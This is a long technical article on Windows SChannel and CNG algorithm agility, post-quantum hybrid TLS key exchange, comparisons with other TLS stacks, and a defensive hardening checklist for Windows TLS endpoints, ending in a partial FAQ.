v103.5.0 -- ML-KEM (FIPS 203) [@fips-203].
v103.6.0 -- LMS (NIST SP 800-208 stateful hash-based signature) and AES-KW(P).
v103.7.0 -- ML-DSA (FIPS 204) [@fips-204].
v103.11.0 -- Composite ML-KEM (hybrid ML-KEM with a classical KEM).
v103.12.0 -- Composite ML-DSA (hybrid ML-DSA with a classical signature scheme).
v103.12.1 -- AVX-512 AES-GCM (up to ~35% throughput improvement).

CNG exposes the matching BCRYPT_MLKEM_ALG_HANDLE with parameter-set selectors -- BCRYPT_MLKEM_PARAMETER_SET_768, BCRYPT_MLKEM_PARAMETER_SET_1024, and so on [@ms-learn-cng-mlkem-examples]. The Microsoft Learn page for the CNG ML-KEM API surface carries an explicit "prerelease product / Windows Insider Preview" banner. The article therefore frames SChannel's PQC support as preview / Insider-channel as of mid-2026, with broader GA rollout in flight; the Microsoft Tech Community PQC announcement (December 2024) is the narrative anchor and the Insider-Preview banner on the API doc is the technical hedge [@ms-tech-community-pqc][@ms-tech-community-pqc-companion].

The hash-based and stateless-hash-based signature side of PQC (SLH-DSA, FIPS 205 [@fips-205]) is shipping in SymCrypt and CNG along the same trajectory. Section 11 returns to why the signature-side PQC transition is harder than the KEM-side transition.

Hybrid TLS 1.3 key exchange: `X25519MLKEM768`

The IETF-converged named group for the most-deployed hybrid is X25519MLKEM768, defined in draft-ietf-tls-ecdhe-mlkem (Kris Kwiatkowski / PQShield, Panos Kampanakis / AWS, Bas Westerbaan / Cloudflare, Douglas Stebila / University of Waterloo; currently -05 as of May 26, 2026) [@draft-ietf-tls-ecdhe-mlkem]. The draft also defines SecP256r1MLKEM768 and SecP384r1MLKEM1024 for deployments that prefer NIST curves over X25519.

The handshake mechanics are clean. The client sends mlkem_pk || x25519_pk (1184 + 32 = 1216 bytes) in its key_share; the server responds with mlkem_ct || x25519_pk (1088 + 32 = 1120 bytes); both sides compute shared_secret = mlkem_ss || x25519_ss (32 + 32 = 64 bytes) and feed that into TLS 1.3's HKDF-Extract as IKM.

sequenceDiagram participant Client participant Server

Note over Client: Generate X25519 keypair and ML-KEM-768 keypair
Client->>Server: ClientHello with key_share (mlkem_pk concatenated with x25519_pk -- 1216 B)
Note over Server: Generate X25519 keypair, ML-KEM encapsulate to client mlkem_pk
Server->>Client: ServerHello with key_share (mlkem_ct concatenated with x25519_pk -- 1120 B)
Note over Client: X25519 DH, ML-KEM decapsulate
Note over Client,Server: shared_secret -- mlkem_ss concatenated with x25519_ss (64 B)
Note over Client,Server: HKDF-Extract over shared_secret continues TLS 1.3 key schedule

The construction is defence-in-depth against either a classical-only break or a quantum-only break: an adversary must defeat both X25519 and ML-KEM-768 to recover the session key, and the hybrid analysis (Bindel et al., PQCrypto 2019) shows the construction is at least as secure as the stronger of the two components. The minor cost is the inflated ClientHello and ServerHello (about 1.2 KB extra) and a couple of milliseconds of ML-KEM operations.

{` // Pseudocode for the X25519MLKEM768 shared-secret concatenation. // In real SChannel: BCryptSecretAgreement(BCRYPT_ECDH_P256_ALGORITHM_HANDLE / X25519, ...) // + BCryptDecapsulate(BCRYPT_MLKEM_ALG_HANDLE, parameter_set = 768, ...)

function x25519_dh(privA, pubB) { return new Uint8Array(32).fill(0xAA); } // 32 B function mlkem768_decaps(privA, ct) { return new Uint8Array(32).fill(0xBB); } // 32 B

const x25519_ss = x25519_dh('clientX25519Priv', 'serverX25519Pub'); const mlkem_ss = mlkem768_decaps('clientMLKEMPriv', 'serverMLKEMCt');

const hybrid_secret = new Uint8Array(64); hybrid_secret.set(mlkem_ss, 0); hybrid_secret.set(x25519_ss, 32);

console.log('IKM length for HKDF-Extract:', hybrid_secret.length, 'bytes'); console.log('First byte: 0x' + hybrid_secret[0].toString(16), '(from ML-KEM half, defends against quantum break)'); console.log('Byte 32: 0x' + hybrid_secret[32].toString(16), '(from X25519 half, defends against classical break)'); `}

The agility payoff

This rotation is the cleanest demonstration of Section 4's thesis. Adding X25519MLKEM768 to SChannel required: (a) a SymCrypt primitive (v103.5.0+ for ML-KEM, with X25519 long present per RFC 7748 [@rfc-7748]); (b) a new BCrypt provider registration (BCRYPT_MLKEM_ALG_HANDLE and the hybrid named-group plumbing); (c) a new SChannel named-group entry. No IIS source change. No SQL Server source change. No SslStream source change. Eighteen years after Vista shipped CNG, the substrate is producing receipts for a brand-new algorithm family.

The deployment side is moving faster than most ten-year forecasts in cryptography ever predicted. Cloudflare's measurements (March 2024) put PQC-secured TLS 1.3 connections at "nearly two percent" of inbound, with the team forecasting double-digit percentages by end of 2024 [@cloudflare-pq-2024]. Cloudflare's origin-side PQC rollout has been live since September 2023 [@cloudflare-pq-origins]. Chrome / BoringSSL, Edge (via BoringSSL), and Firefox / NSS ship X25519MLKEM768 client-side. OpenSSL 3.5 ships ML-KEM. Server-side SChannel adoption is rolling through the Insider channel and the official Tech Community posts as of mid-2026 [@ms-learn-cng-mlkem-examples][@ms-tech-community-pqc-companion].Cloudflare's measurements (March 2024) put PQC-secured TLS 1.3 connections at "nearly two percent" of their inbound; by the end of 2024 they expected double-digit percentages [@cloudflare-pq-2024]. The transition is moving faster than most ten-year forecasts in cryptography ever predicted.

Note: The hybrid PQC handshake is cheap in absolute terms but the cost is not uniform across deployment shapes. On a typical Server 2022 IIS edge with software-backed RSA-2048 plus AES-NI, sustained handshake rates run in the thousands per second per core; the X25519MLKEM768 hybrid adds roughly 5-10 ms of handshake latency, which is in the noise relative to the per-handshake cost of an RSA-2048 signature. On a TPM-key-bound edge the picture inverts: the Microsoft Platform Crypto Provider is serialised by TPM 2.0 TPM2_Sign latency (tens of milliseconds per signature), so sustained handshake rates sit in the tens to roughly one hundred handshakes per second per host, and the same ~5-10 ms hybrid delta becomes a non-trivial fraction of the per-handshake budget. AES-NI bulk throughput on AES-256-GCM is roughly 5-10 Gbps per core (the AVX-512 AES-GCM landing in SymCrypt v103.12.1 shifts that ceiling further [@symcrypt-changelog]) so the post-handshake data path is not the bottleneck. Operator decision support: if you are software-key-bound, the hybrid PQC delta is noise. If you are TPM-key-bound, your handshake rate is already in the tens, and the hybrid delta is meaningful enough to budget for.

Note: As of article publication (mid-2026), SChannel's X25519MLKEM768 support is preview / Insider-channel; the CNG ML-KEM page carries the explicit Windows Insider Preview banner [@ms-learn-cng-mlkem-examples]. Track the SymCrypt CHANGELOG for primitive landings [@symcrypt-changelog] and the Microsoft Tech Community PQC posts for OS-channel GA announcements [@ms-tech-community-pqc]. Do not assert GA dates that have not landed.

If the PQC rotation is the agility payoff, the next question is the obvious one: how does SChannel's answer compare to the other TLS stacks shipping on the same calendar? OpenSSL, BoringSSL, NSS, and Apple's Network framework have all had to solve the same algorithm-agility problem -- and they have all made different trade-offs.

10. Competing Approaches: How Other TLS Stacks Solve Algorithm Agility

Algorithm agility is not a property of TLS-the-protocol. It is a property of the substrate underneath the protocol. Every major TLS implementation has had to answer the same question -- "how do we add a new primitive without breaking our consumers?" -- and the answers are surprisingly different.

Stack	Substrate model	Stability commitment	PQC integration as of mid-2026
SChannel / CNG	BCrypt providers + NCrypt KSPs; Win32 API-stable [@ms-learn-cng-portal]	Strong: Win32 SSPI surface frozen	ML-KEM in SymCrypt v103.5.0 [@symcrypt-changelog]; `X25519MLKEM768` Insider Preview [@ms-learn-cng-mlkem-examples]
OpenSSL 3.x	`OSSL_PROVIDER` modules via `OSSL_DISPATCH` arrays [@openssl-provider7-3.0]	Strong-by-major-version	OQS-Provider for early PQC; ML-KEM in OpenSSL 3.5
BoringSSL	Single source tree; "rolling release"; no provider model [@boringssl-readme]	Explicitly none ("no guarantees of API or ABI stability")	`X25519MLKEM768` shipping; consumer vendoring required
NSS	OASIS PKCS #11 v3.1 modules via `CK_FUNCTION_LIST` [@nss-3.111-release-notes][@oasis-pkcs11-v3.1]	Strong (Firefox compatibility)	ML-KEM via PKCS #11 v3.1 `C_Encapsulate` / `C_Decapsulate`; `X25519MLKEM768` in Firefox 132
Apple Network framework / Secure Transport	Framework-version pinning per OS release [@apple-network-framework][@apple-secure-transport]	Strong per OS version	Hybrid KEM shipping in newer Network framework releases
.NET `SslStream` cross-platform	Delegates to host OS stack [@dotnet-cross-platform-crypto]	Strong per .NET version	Inherits underlying stack's PQC support

OpenSSL 3.x: `OSSL_PROVIDER`, explicit contexts, three in-tree providers

OpenSSL 3.0 replaced the older ENGINE model with the OSSL_PROVIDER system, described in the provider(7) manpage as "a unit of code that provides one or more implementations for various operations for diverse algorithms" [@openssl-provider7-3.0]. A provider exposes its operations through an OSSL_DISPATCH array of {function-id, function-pointer} pairs. The loader's entry point is a single exported function with this exact signature [@openssl-provider7-3.0]:

int OSSL_provider_init(const OSSL_CORE_HANDLE *handle,
                       const OSSL_DISPATCH *in,
                       const OSSL_DISPATCH **out,
                       void **provctx);

The in array gives the provider the callbacks the OpenSSL library is willing to provide to the provider (logging, error reporting, library-context queries, parameter accessors) [@openssl-provider-base7-3.0]; the out array is filled in by the provider with the operations it implements. The provctx is the provider's own per-instance state.

OpenSSL 3.0 ships three in-tree providers: default (the modern algorithm set), legacy (RC4, MD4, IDEA, and other backward-compatibility primitives), and FIPS (the FIPS 140-3-validated subset). Out-of-tree, the OQS-Provider plugs PQC primitives into OpenSSL without recompiling the OpenSSL build itself. The substantive contrast with CNG: OpenSSL makes the provider context an explicit parameter via OSSL_LIB_CTX *, which means multiple isolated provider sets can coexist inside one process (a FIPS-validated workload and a legacy workload in the same binary). CNG keeps provider dispatch global per-process. Both models are functionally agile; OpenSSL's is more compositional at runtime, while CNG's is more governed through the Windows servicing branch.

BoringSSL's anti-agility position

BoringSSL is Google's TLS stack used by Chromium and (via Chromium) Microsoft Edge. The project README says, verbatim:

Although BoringSSL is an open source project, it is not intended for general use, as OpenSSL is. We don't recommend that third parties depend upon it. Doing so is likely to be frustrating because there are no guarantees of API or ABI stability. -- BoringSSL README [@boringssl-readme]

BoringSSL achieves agility by refusing to absorb it as a public API. Consumers vendor BoringSSL into their own build tree and accept the lift of tracking head. Chromium does this; Edge inherits it; cURL ships configurations that link against BoringSSL when the consumer asks for it. The model is the inverse of CNG's: maximum velocity for the maintainer, maximum churn for the consumer. For a vendor whose chief constraint is API stability for the Win32 / .NET universe, BoringSSL's model is structurally incompatible. For a vendor whose chief constraint is shipping the modern internet's TLS posture into a browser monthly, BoringSSL's model is the right answer.

NSS and PKCS #11

Mozilla's NSS predates almost every other stack here and uses the OASIS PKCS #11 (Cryptoki) module standard as its agility hinge [@oasis-pkcs11-v3.1]. A PKCS #11 module exposes a single entry point, C_GetFunctionList(CK_FUNCTION_LIST_PTR_PTR ppFunctionList), which returns a table of roughly seventy function pointers. Those functions are organised around a three-level hierarchy: a slot is a place where a token sits; a token holds objects (keys, certificates, data); cryptographic operations are invoked against an object referenced by CK_OBJECT_HANDLE and parametrised by a CK_MECHANISM (e.g. CKM_AES_GCM, CKM_ECDH1_DERIVE).

NSS itself ships two PKCS #11 modules out of the box: the NSS softoken (softokn3, in-process software primitives) and the NSS FIPS softoken (the FIPS-validated variant). Hardware PKCS #11 modules for HSMs and smart cards load through the same SECMOD_LoadUserModule API. PQC arrived in NSS via PKCS #11 v3.1's KEM operations: C_Encapsulate and C_Decapsulate are standardised verbs that ML-KEM-768 implementations can expose without needing the historic CKM_VENDOR_DEFINED mechanism-ID reservation pattern. NSS 3.111 (released April 28, 2025) is the release marker for full PKCS #11 v3.1 adoption in NSS [@nss-3.111-release-notes]; Firefox shipped X25519MLKEM768 client-side in Firefox 132 (October 2024). The high-order contrast with CNG: PKCS #11 is a cross-vendor industry standard, so the same NSS / Firefox runtime can talk to a Mozilla softoken, an HSM module, and a smart-card module through a single interface; CNG is single-vendor (Microsoft) but exposes a fully Microsoft-curated provider universe through a stable Win32 API.

Apple Network framework and CryptoKit

Apple's TLS-stack history splits into the deprecated Secure Transport API [@apple-secure-transport] and the modern Network framework introduced in macOS 10.14 and iOS 12 [@apple-network-framework]. Secure Transport's design was C-API and typed-enum: SSLProtocol selected the TLS version; SSLCipherSuite integers were the IANA cipher-suite codepoints; the developer worked with SSLContextRef handles much as a Windows developer works with CtxtHandle. The agility model was named-enum-per-OS-release: every TLS version and cipher was a compile-time constant, and the SDK version the application was built against determined what was selectable.

Network framework moved the API to a Swift-first surface (NWProtocolTLS.Options, sec_protocol_options_set_min_tls_protocol_version) and started Apple's deprecation glide for Secure Transport. On top of the network-layer primitives, CryptoKit (iOS 13 / macOS 10.15) provides the Swift-idiomatic high-level crypto API for symmetric AEAD, ECDH, ECDSA, and (via subsequent OS releases) the post-quantum primitives [@apple-cryptokit]. The cadence is bound to Apple's annual OS release: a new algorithm becomes available when the OS that ships it becomes available, and applications that need it bump their minimum-deployment target.

The structural contrast with CNG: Apple's model gives the platform vendor very tight control over what is selectable and a clean deprecation path (you simply drop a constant from a future SDK), but the cost is that the application's algorithm options track the OS version the application is built for. CNG decouples those -- a Windows 11 application built against a 2015 Win32 SDK still sees new BCrypt algorithm strings as the OS ships them, because the dispatch is by string at runtime.

.NET `SslStream` -- one API, three host backends

.NET's System.Net.Security.SslStream is identical on every host. The implementation, however, delegates to the host operating system's TLS stack. On Windows it calls into SChannel through SSPI; on Linux it calls into OpenSSL via System.Security.Cryptography.Native.OpenSsl; on macOS it calls into Apple's Network framework via System.Security.Cryptography.Native.Apple [@dotnet-cross-platform-crypto]. There is no "pick a backend" knob in SslStream; the runtime picks whichever backend the host OS provides.

The agility consequence for PQC is direct. A .NET 10 application running on a Windows Insider build whose SChannel has X25519MLKEM768 enabled by default will negotiate hybrid PQC automatically. The same application running on macOS gets classical X25519 until Apple ships hybrid in Network framework. The same application running on Linux against OpenSSL 3.5 gets ML-KEM via OpenSSL's in-tree implementation. The application source code never changes; the wire-level cryptography is whatever the host's TLS stack negotiates. This is the agility property in cross-platform clothing -- and it works because each host's substrate is itself agile.

Five substrates, five answers

The cross-stack comparison surfaces the meta-point. Five substrates: CNG, OpenSSL OSSL_PROVIDER, BoringSSL's vendored tree, PKCS #11, Apple's named-enum SDK. Five answers, all functional, all optimising for different deployment models. SChannel / CNG is the most registry-driven and single-vendor-extensible; OpenSSL is the most context-explicit; PKCS #11 is the most cross-vendor-standardised; BoringSSL is the most aggressive-by-refusing-stability; Apple is the most named-enum-SDK-bound. None of these is "the right" answer -- each is the answer that fits its vendor's deployment shape. The agility property is of the substrate, and the right substrate depends on what you ship and to whom.

Agility is the capacity for rotation. Whether the rotation actually happens is a separate problem -- one that the empirical evidence of TLS 1.0 / 1.1's 25-year tail tells a sobering story about.

11. Limits and Open Problems

Algorithm agility is necessary. It is not sufficient. TLS 1.0 was published in 1999 [@rfc-2246]; default-off in stable Windows did not arrive until 2024-2025 [@ms-learn-tls-registry-settings]. Twenty-five years. The substrate could have rotated TLS 1.0 out a decade earlier; the world would not move.

Key idea: Agility lets the substrate add a new primitive and lets operators disable an old one. It cannot force operators of TLS-1.2-only or TLS-1.0-only endpoints to upgrade. The substrate solved the rotation problem; the world is the bottleneck. Trust-store distrust events, OS-level deprecation defaults, browser warnings, and eventual code-path removal are the levers that close the gap -- but each operates on the scale of years, not weeks.

This re-organises the reader's understanding of why Microsoft's posture on PQC is "ship and hedge" rather than "ship and declare victory." The substrate is ahead of the protocol; the protocol is ahead of the deployments; the deployments are years behind.

The downgrade-attack envelope

RFC 7568 (June 2015) formally prohibits SSL 3.0 [@rfc-7568]; RFC 6176 (March 2011) formally prohibits SSL 2.0 [@rfc-6176]. The TLS Fallback SCSV cipher suite (RFC 7507) bounded downgrade attacks within TLS 1.0 / 1.1 / 1.2. TLS 1.3's ServerHello.random downgrade-resistance sentinel (RFC 8446 §4.1.3 [@rfc-8446]) closes the downgrade attack surface within TLS 1.3. The remaining downgrade exposure lives at the boundary with TLS-1.2-only counterparties -- a boundary that shrinks every year but does not yet close.

Signature-side PQC and the chain-size problem

The PQC hybrid KEM transition is the easy half of the post-quantum migration. The signature side is harder. ML-DSA-65 produces ~3.3 KB signatures with ~2 KB public keys [@fips-204]; SLH-DSA at 128-bit security produces signatures in the 7 to 17 KB range [@fips-205]; Falcon (FN-DSA in the NIST nomenclature) produces ~1 KB signatures but is harder to implement correctly because of its floating-point Gaussian sampling.

Why this matters for SChannel: TLS server certificate chains are sent in the Certificate handshake message. A chain that fits inside TCP's initial congestion window (typically 10 segments, or about 14.6 KB) ships in one round trip; a chain that overflows the IW takes another RTT. Adding a 3.3 KB ML-DSA signature plus a 2 KB ML-DSA public key to every cert in a chain rapidly blows past 14.6 KB for a typical leaf-intermediate-root structure. The community working hypothesis is that the hybrid-signature transition in TLS will lag the hybrid-KEM transition by years; SymCrypt's Composite ML-DSA support (v103.12.0) [@symcrypt-changelog] is the substrate-side preparation for that transition, but the IETF TLS WG signature-side drafts are still in flight.

Composite-identifier namespace sprawl in CNG

Every hybrid construction adds at least one new CNG algorithm identifier. X25519MLKEM768, SecP256r1MLKEM768, SecP384r1MLKEM1024 already exist. Composite ML-DSA + ECDSA is in flight. If pure ML-KEM-1024 and pure SLH-DSA are eventually default-on, the algorithm namespace doubles per hybrid family. The substrate is capable of absorbing the sprawl; whether the cipher-suite registry remains legible to administrators is a separate user-interface problem.

The opaque-engine bargain

SymCrypt is open since July 2019 and externally auditable [@symcrypt-github]. The SChannel SSP binary itself remains closed-source. External behavioural verification -- Hubert Kario's tlsfuzzer -- is the closest the public has to a formal specification of schannel.dll's wire-level behaviour [@tlsfuzzer-github]. The project's framing is precise: it "doesn't check only that the system under test didn't crash, it checks that it returned correct error messages" [@tlsfuzzer-github]. That is the closest practitioners get to a behavioural spec without source.

The asymmetry has a name in the article's argument: open-source substrate, closed-source SSP. The agility receipts of Sections 5 and 9 are auditable at the primitive layer. The parsing-path correctness of Section 6 is not -- the coordinated-disclosure intake of MS14-066 (with IBM X-Force researcher Robert Freeman credited as the discoverer per the bulletin's acknowledgments [@ms14-066]) is the kind of receipt the binary-only delivery model can produce. Modern external fuzzing has narrowed the gap but does not close it.

Legacy protocol removal versus disablement

Disablement by default is universal in Windows 11 / Server 2022+. Removing the negotiation code paths is a separate, slower trajectory. SSL 3.0's code paths are largely gone from current SChannel; TLS 1.0 / 1.1 code paths remain reachable behind registry flags because some long-tail enterprise scenarios still require them. The protocol surface of SChannel is wider than its default-enabled surface; an audit posture must account for the difference.

Dead ends and the diseases they failed to cure

The five agility receipts of Section 5 are the primitive-rotation story. But not every TLS failure is a primitive failure, and the substrate could not save Windows from the four most-instructive engineering dead ends the IETF eventually had to legislate out of the protocol itself. CRIME / TLS-level DEFLATE compression (Rizzo and Duong, ekoparty 2012) was a compression-then-encryption side-channel that no primitive substitution could fix; TLS 1.3 removed compression from the protocol entirely (RFC 8446 §4.1.2 [@rfc-8446]) and SChannel never shipped TLS-level compression in the first place. Insecure renegotiation (CVE-2009-3555) -- Ray and Dispensa, November 2009 -- let an MITM splice attacker-prefix application data into a victim's authenticated session because the mid-session re-handshake had no transcript binding to the prior session; RFC 5746 (Eric Rescorla et al., February 2010 [@rfc-5746]) added the renegotiation_info extension, Microsoft shipped the fix in SChannel via KB977377 / KB980436 in early 2010, and TLS 1.3 removed renegotiation outright in favour of the narrowly-scoped KeyUpdate message and post-handshake CertificateRequest. Anonymous Diffie-Hellman cipher suites (TLS 1.0 through 1.2 specified TLS_DH_anon_* and TLS_ECDH_anon_* with no server certificate at all -- forward secrecy without authentication) were off-by-default in every major stack including SChannel and removed from the TLS 1.3 cipher-suite namespace entirely. Export-grade RSA / FREAK (Beurdouche, Bhargavan and colleagues, IEEE S&P 2015 [@smacktls]) used roughly $100 of EC2 compute to break 512-bit RSA in hours and force-downgrade non-export-aware servers; Microsoft pruned the export-RSA suites from SChannel's default set via MS15-031 / KB3046049 in March 2015 [@smacktls].

These four dead ends share a structural lesson: each is a different axis of failure. CRIME was a side-channel no algorithm could fix. Insecure renegotiation was a feature whose protocol design admitted MITM splicing. Anonymous DH was a configuration the protocol should never have exposed. FREAK was an obsolete primitive whose continued availability invited downgrade. All four sit above the substrate -- none is a primitive-design defect like MD5 or DES-56. The thesis the article advances -- that the substrate changed because it had to support the changes but did not invent them -- is illustrated negatively by these four: the protocol axis had to do the work, often by removal rather than refinement. The agility receipt of Section 5 G5 (TLS 1.0 / 1.1 disablement) is, in this light, just the most visible item in a longer ledger.

If the theoretical limits are humbling, the practical day-to-day -- "what should I actually do with my SChannel-served TLS endpoints this Monday morning?" -- has a much cleaner set of answers.

12. Practical Guide: Nine Things to Do on a Windows-Served TLS Endpoint

A working operator's reference distilled to the essentials -- the nine things that, if you do nothing else this quarter, materially improve the security posture of a Windows-served TLS endpoint.

1. Inventory

# Cipher suites enabled on this host, in negotiation order
Get-TlsCipherSuite | Select-Object -Property Name, Cipher, CipherLength, KeyType, Exchange

# ECC named groups (TLS 1.3 key shares; X25519, secp256r1, secp384r1; PQC hybrids on newer builds)
Get-TlsEccCurve

Pair this with a registry walk of HKLM\SYSTEM\CurrentControlSet\Control\SecurityProviders\SCHANNEL\ -- Protocols\<ver>\<role>\Enabled and DisabledByDefault for protocol versions, Ciphers\<algorithm>\Enabled for primitive disables, and Hashes\<algorithm>\Enabled for handshake-hash disables [@ms-learn-tls-registry-settings].

2. Disable the legacy protocol versions

Set SCHANNEL\Protocols\SSL 3.0\<role>\Enabled = 0 and DisabledByDefault = 1 for both Client and Server sub-keys. Repeat for TLS 1.0 and TLS 1.1. The asymmetry between Client and Server hives bites: an outbound WinHTTP call from your IIS worker is governed by the Client sub-key even though the server itself is gated by Server [@ms-learn-tls-registry-settings].

3. Disable RC4 and 3DES at the cipher level

RC4: KB2868725 [@ms-advisory-2868725] introduced the mechanism. Set Ciphers\RC4 40/128\Enabled = 0, Ciphers\RC4 56/128\Enabled = 0, Ciphers\RC4 64/128\Enabled = 0, Ciphers\RC4 128/128\Enabled = 0. 3DES: Ciphers\Triple DES 168\Enabled = 0. Then verify with Get-TlsCipherSuite that no *RC4* or *3DES* suites are still listed.

4. Cipher-suite ordering for TLS 1.2

The SSL Cipher Suite Order GPO is the lever. Put ECDHE + AES-GCM suites at the top; keep CHACHA20-POLY1305 as a fallback for clients without AES-NI; pull legacy AES-CBC suites to the bottom. The Microsoft Learn "Manage TLS" page walks through the GPO interaction [@ms-learn-manage-tls].

Note: Setting an explicit cipher-suite order via the older SSL Cipher Suite Order GPO can accidentally exclude TLS 1.3 cipher suites if the list does not enumerate them. The TLS 1.3 suites (TLS_AES_128_GCM_SHA256, TLS_AES_256_GCM_SHA384, TLS_CHACHA20_POLY1305_SHA256) must appear in the configured list, otherwise TLS 1.3 effectively gets disabled on the host. Verify with Get-TlsCipherSuite after applying any GPO change.

5. Enable OCSP stapling on IIS, and enable CAPI2/Operational logging for distrust observability

OCSP stapling is on by default in modern IIS. Verify that your front door is sending stapled responses (via openssl s_client -status -connect host:443 < /dev/null | grep -i ocsp from a test client). If your CA does not support OCSP for the issued cert, the stapling fails silently and you lose the revocation channel; pick a CA that does.

For trust-store observability, enable the per-host CAPI2/Operational tracing channel with wevtutil sl Microsoft-Windows-CAPI2/Operational /e:true and watch for the chain-engine events the Microsoft Learn FCPCA-removal article enumerates: Event ID 11 (chain-build failures), Event ID 30 (SSL or NTAuth policy failures), Event ID 90 (every certificate consulted during chain build) [@ms-learn-fcpca-removal]. The FCPCA article also documents the empirical "one to seven days" propagation latency between an MTRP distrust landing in authrootstl.cab and a given client actually applying it -- the same window applies to any future CCADB-coordinated removal (cross-reference Section 7).

6. Enforce RunAsPPL and Credential Guard

These are complementary, not alternatives [@itm4n-runasppl]. Set HKLM\SYSTEM\CurrentControlSet\Control\Lsa\RunAsPPL = 1 and reboot; verify LSASS comes back as a Protected Process with Get-Process lsass | Select Name, Protect* [@ms-learn-lsa-protection]. Then enable Credential Guard via Group Policy or MDM; on most newer Windows 11 builds it is on by default [@ms-learn-credential-guard]. Auditing-only mode (AuditLevel) is the right step before enforcement to identify any legacy LSA plug-ins that fail to load as PPL.

7. Lock down CredSSP / RDP NLA on Remote Desktop Session Hosts

Confirm Network Level Authentication is enabled on any RDP Session Host (it has been default-on since Windows Server 2012 R2) [@ms-archive-nla]. Confirm the host is running CredSSP version 5 or higher, so the channel-binding hash mechanism that replaced the broken pre-CVE-2018-0886 "encrypt the public key + 1" scheme is in force [@ms-cssp-sequencing]. For any administrative jump-host scenario where the destination's plaintext-credential exposure must be zero, use Remote Credential Guard (TSRemoteGuardCreds) -- the destination receives only a service ticket usable for the session, not a reusable password or hash. Pair NLA enforcement with the certificate-validation knobs in item 5: the SChannel server certificate the CredSSP TLS handshake validates is the same one a TLS-only audit covers, so the trust pipeline reuse is exact.

8. FIPS-mode toggle: what `FipsAlgorithmPolicy = 1` actually means in 2026

The Local Security Policy setting "System cryptography: Use FIPS compliant algorithms for encryption, hashing, and signing" (registry: HKLM\SYSTEM\CurrentControlSet\Control\Lsa\FipsAlgorithmPolicy\Enabled = 1) is the operator-side policy lever that pins SChannel, EFS, BitLocker, and RDP encryption to the FIPS 140-validated subset of CNG's catalog [@ms-learn-fips-policy]. The "what it disables" question has changed since the legacy "TLS_RSA_WITH_3DES_EDE_CBC_SHA only" framing on the policy reference page itself [@ms-learn-fips-policy]. The modern Microsoft Learn "TLS Cipher Suites in Windows 11" page is explicit that "FIPS-compliance has become more complex with the addition of elliptic curves making the FIPS mode enabled column in previous versions of this table misleading," and points readers to NIST SP 800-52 Rev. 2 section 3.3.1 for the authoritative FIPS-approved TLS 1.2 / 1.3 cipher-suite list [@ms-learn-tls-cipher-suites-windows-11][@nist-sp-800-52r2].

In practice on a Windows 11 / Server 2022 box with FipsAlgorithmPolicy = 1: SChannel will negotiate TLS 1.3's TLS_AES_128_GCM_SHA256 and TLS_AES_256_GCM_SHA384 (the third TLS 1.3 mandatory suite, TLS_CHACHA20_POLY1305_SHA256, is not FIPS-approved because ChaCha20-Poly1305 is not on the FIPS algorithm list); for TLS 1.2 it will negotiate the ECDHE-with-AES-GCM and ECDHE-with-AES-CBC-SHA2 variants over the NIST curves P-256, P-384, and P-521 only; the X25519 named group is not FIPS-approved as of the May 2026 Windows servicing snapshot; and the X25519MLKEM768 hybrid in Insider channels is not FIPS-approved either, because of the X25519 component.

Two-sided framing: SymCrypt's FIPS 140-3 validation is the engine-side receipt; FipsAlgorithmPolicy = 1 is the consumer-side policy lever that pins consumers to the validated subset. Both are required for the system to be "operating in FIPS mode" in the CMVP sense [@ms-learn-fips-140-validation]. At the BCrypt layer, FIPS enforcement is opt-in via a CNG flag that callers pass to BCryptOpenAlgorithmProvider; SChannel honours the system policy directly, but legacy applications loading deprecated CryptoAPI 1.0 CSPs (PROV_RSA_FULL, rsaenh.dll, etc.) bypass the toggle entirely [@ms-learn-cryptographic-provider-types].

Note: Enabling FipsAlgorithmPolicy = 1 is prospective only. It affects future BCrypt opens, future SChannel handshakes, and future EFS encryptions. It does not re-derive existing TLS session keys, does not re-encrypt existing EFS-protected files, and may break RDP between a FIPS-on Server 2022 host and a not-FIPS-configured Windows 10 1809 client because the two ends can no longer agree on a common cipher suite. Plan rollout carefully and verify mixed-version paths before flipping the bit fleet-wide.

9. Pilot the PQC hybrid where you can

Where Windows builds support X25519MLKEM768 -- presently Insider Preview channels per the CNG ML-KEM page's banner [@ms-learn-cng-mlkem-examples] -- pilot the hybrid against an internal client. Validate via Wireshark (looking for the X25519MLKEM768 named-group selector in ClientHello / ServerHello key_share extensions) and a curl build with ML-KEM support. Measure connection-establishment latency; for a typical handshake the additional ~5-10 ms is in the noise (see the §9 PQC handshake budget Callout for the TPM-bound exception).

The `X25519MLKEM768` named group has IANA codepoint `0x11ec`. A Wireshark display filter of `tls.handshake.extensions_key_share_group == 0x11ec` flags handshakes that negotiated the hybrid. Combined with `tls.handshake.version == 0x0304`, you can quickly spot whether a peer actually used the PQC hybrid or fell back to plain X25519.

Common pitfalls

Client vs Server asymmetry. Two sub-keys, two hives, four registry edits per protocol version. Tooling like IISCrypto automates the matrix; doing it by hand is the most common source of "we thought we disabled TLS 1.0 but our outbound WinHTTP still negotiates it" tickets.
SCH_USE_STRONG_CRYPTO -- the SCHANNEL_CRED flag is per-call, not per-machine. .NET sets it by default on modern targets but historically didn't on .NET Framework 4.5.x. If you maintain old .NET Framework workloads, audit them.
SSLKEYLOGFILE -- SChannel does not export keys to SSLKEYLOGFILE. Wireshark cannot decrypt SChannel-served TLS traffic without separate key extraction (etw-based, or a TLS-terminating proxy). Plan your packet-capture strategy accordingly.

If the practical guide is the "what to do," the FAQ that follows is the "what to stop believing."

13. Frequently Asked Questions

No. They were different bugs, different stacks, different vendors. **Heartbleed (CVE-2014-0160), April 7, 2014, was a flaw in OpenSSL's TLS Heartbeat extension code path** [@nvd-cve-2014-0160]. **MS14-066 / CVE-2014-6321 ("WinShock"), November 11, 2014, was a pre-authentication remote code execution in SChannel's TLS message-parsing path** [@ms14-066][@nvd-cve-2014-6321], disclosed under coordinated vulnerability disclosure and credited by IBM X-Force to researcher Robert Freeman. SChannel does not implement OpenSSL's Heartbeat code and was not affected by Heartbleed; Microsoft confirmed this publicly in April 2014. The two events have been blended in many secondary accounts since. No. CVE-2014-6321 had a public Patch Tuesday bulletin (MS14-066, November 11, 2014) [@ms14-066], a US-CERT alert (TA14-318A, November 18, 2014) [@uscert-ta14-318a], and a CERT/CC vulnerability note (VU#505120) [@certcc-vu505120]. The "silently patched" framing in some accounts refers to the *additional* SChannel hardening fixes Microsoft bundled into the same KB without separate bulletins, not to the headline CVE itself. This article does not assign specific CVE IDs to those bundled extras. No. **ZeroLogon affected the Netlogon Remote Protocol (MS-NRPC), implemented in `netlogon.dll`**. The "Netlogon secure channel" and the "SChannel SSP" (`schannel.dll`, the TLS provider this article is about) share a name root but are different protocols, different DLLs, different code paths, and different bug classes. Confusing the two is one of the most common Windows-security naming 